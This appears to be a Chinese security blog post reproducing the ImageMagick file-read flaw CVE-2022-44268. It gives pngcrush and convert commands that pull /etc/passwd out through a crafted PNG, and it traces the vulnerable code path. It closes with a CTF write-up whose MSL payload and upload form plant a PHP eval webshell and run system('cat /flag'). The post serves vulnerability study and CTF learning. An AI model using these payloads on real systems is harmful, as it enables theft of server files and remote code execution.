CVE-2022-44268 ImageMagick任意文件读取漏洞
2023-2-3 21:59:3 Author: www.gem-love.com(查看原文) 阅读量:163 收藏

我平时基本不单独发一些漏洞复现的文章,除非觉得很有学习意义。ImageMagick这个属于特例,因为还是蛮有影响的,包括我司的许多产品实际上都是使用ImageMagick作为底层能力,之前有出现过因为Ghostscript的RCE 0day导致使用了ImageMagick的业务可以被RCE,每次出现新漏洞都要紧急排查和修复一波。

介绍

ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。

ImageMagick在解析包含特定格式的路径的PNG图片时,会发生文件读取的行为(也可DoS,编号CVE-2022-44267)。

PoC

https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC

复现

我根据PoC做了一个复现的Docker,拉下来就能直接用,省去了自己复现。详见:https://github.com/y1nglamore/CVE-2022-44268-ImageMagick-Vulnerable-Docker-Environment

启动容器:

docker pull y1nglamore/cve_2022_44268:latest 
docker run --rm -i -t y1nglamore/cve_2022_44268 /bin/bash

然后执行./run.sh FILEPATH进行任意文件读取

如果不给参数,默认./run.sh会读/etc/passwd

当然也可以手工执行:

pngcrush -text a "profile" "/etc/passwd" 1.png
exiv2 -pS pngout.png
convert pngout.png gopro.png

identify -verbose gopro.png

漏洞作者的分析:https://www.metabaseq.com/imagemagick-zero-days/

metabaseq的文章可以说非常透彻了,只不过是英文的,于是这里我就主要翻(chao)译(xi)一些核心的流程

攻击者可以向PNG图片添加一个文本块类型,比如tEXt,这些类型由一个「关键字」和一个「文本字符串」构成。如果「关键字」是profile,那么ImageMagick就把「文本字符串」当做一个路径,并读取对应文件内容作为profile,文件内容以HEX形式嵌入新生成的PNG图片,攻击者下载新的图片就可以拿到读取的文件内容了。

首先是读取PNG文件 ReadOnePNGImage() (coders/png.c:2164)

之后遇到tEXt类型,就会读取对应的tEXt chunk,读取过程中会走到SetImageProfile() (MagickCore/property.c:4360)

SetImageProfile()中,如果匹配到关键字profile,就会做文件读取,结果返回赋值到profile变量

读取成功后,profile变量(也就是携带了文件内容的一个结构体)被写入新的生成的PNG文件中

然后攻击者下载新的PNG,就可以拿到对应文件的文件内容了。

图解版:

想起来一道ImageMagick的one line php题目,和这个洞倒是没关系,觉得还蛮不错的

<?php
@new $_GET[1]($_GET[2]);

本质是任意类实例化,可以SplFileObject读文件之类的,本题目使用ImageMagick扩展实现RCE

准备1.xml

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @eval($_GET['a']); ?>" />
<write filename="info:/var/www/html/swarm.php" />
</image>

1.html

<html>
<body>
<form action="http://y1ng.vip/?1=Imagick&2=vid:msl:/tmp/php*" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="upload" name="submit">
</form>
</body>
</html>

然后用1.html上传1.xml,即可得到一个webshell http://y1ng.vip/swarm.php?a=system('cat /flag'); 当然前提是网站根目录可写

Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.


文章来源: https://www.gem-love.com/2023/02/03/CVE-2022-44268-ImageMagick%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/
如有侵权请联系:admin#unsafe.sh